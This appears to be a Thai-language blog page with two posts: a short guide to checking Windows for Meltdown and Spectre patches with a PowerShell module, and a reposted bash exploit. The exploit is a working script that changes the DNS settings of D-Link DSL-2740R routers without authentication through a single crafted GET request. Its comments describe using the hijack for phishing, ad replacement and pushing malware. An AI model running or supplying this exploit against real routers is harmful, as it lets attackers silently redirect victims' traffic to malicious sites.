Tuesday, January 9, 2018

Meltdown และ Spectre CPU Flaws มันคือช่องโหว่อะไรกัน

จั่วหัวไว้ว่า Meltdown และ Spectre CPU Flaws ที่รู้ศึกว่ากระแสช่องโหว่ของตัวนี้ดูจะเป็น talk of the town มากๆ แล้วเครื่องที่เราใช้งานกันบ้านๆ จะพลอยโดนผลกระทบนี้ไปด้วยไหม ผมก็หาข้อมูลเพื่อทำเป็นวิธีหรือแนวทางในการตรวจสอบเครื่องที่ใช้งานกันแบบง่ายๆ ตามนี้

Windows 8.1 ขึ้นไปที่มี Windows Power Shell มาพร้อม Windows อยู่แล้วก็สามารถทำตามขั้นตอนได้เลย ส่วนใครใช้ Windows 7 อาจจะต้องหา Windows Power shell มาติดตั้งเพิ่มเติม

ขึ้นตอนมีดังนี้
1. เปิด Windows Powershell ด้วย Run As Administrator
2. ใช้คำสั่ง Install-Module SpeculationControl
3. กด Y เคาะ Enter เพื่อติดตั้ง Module SpeculatoinControl  แล้วรอสักครู่



4. หลังจากติดตั้ง Module เรียบร้อย แล้วรันคำสั่ง get-speculationControlsettings
5. ตรวจสอบผลหลังจากรันคำสั่ง



โดยผลลัพธ์จะแบ่งเป็น CVE-2017-5715 (Spectreและ CVE-2017-5754 (Meltdown)
จากรูปที่ผม Capture มาจากที่รันคำสั่งตรวจสอบบนเครื่องที่ผมใช้งาน ส่วนของ Patch ที่ได้ติดตั้งนั้นได้อุดช่องโหว่ของ CVE-2017-5754 (Meltdown) ไปแล้วจะยังเหลือของ CVE-2017-5715 (Spectre)

ซึ่งจากข้อแนะนำคือ ให้ทำการอับเดต ส่วนของ BIOS/Firmware เพิ่มเติม นั้นหมายความว่าเราอับเดตเพียงแค่ OS อย่างเดียวอาจจะยังไม่เพียงพอในการป้องกันช่องโหว่ที่เกิดขึ้นกับ CPU Intel อาจจะต้องอับเดตในระดับของ Bios/Firmware ด้วยนะครับ

Thursday, September 29, 2016

Exploit for remotely changing DNS settings on the D-Link DSL-2740R router

#!/bin/bash
#
#  D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit
#
#  Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  
#  Description:  
#  Different D-Link Routers are vulnerable to DNS change.
#  The vulnerability exist in the web interface, which is 
#  accessible without authentication. 
#
#  ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link 
#  DEVICES MAY AFFECTED.
#
#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).
#
#     

if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "     D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit"
        echo "  ================================================================"
        echo "  Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
        echo "  Example: $0 192.168.1.1 8.8.8.8"
        echo "  Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
        echo ""
        echo "     Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
        echo "                  http://www.ethical-hacker.org/"
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  Error : libwww-perl not found =/"
        exit;
fi
        GET "http://$1/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=$2&dnsSecondary=$3" 0&> /dev/null <&1



อ้างอิง
https://packetstormsecurity.com/files/130113/D-Link-DSL-2740R-Unauthenticated-Remote-DNS-Change.html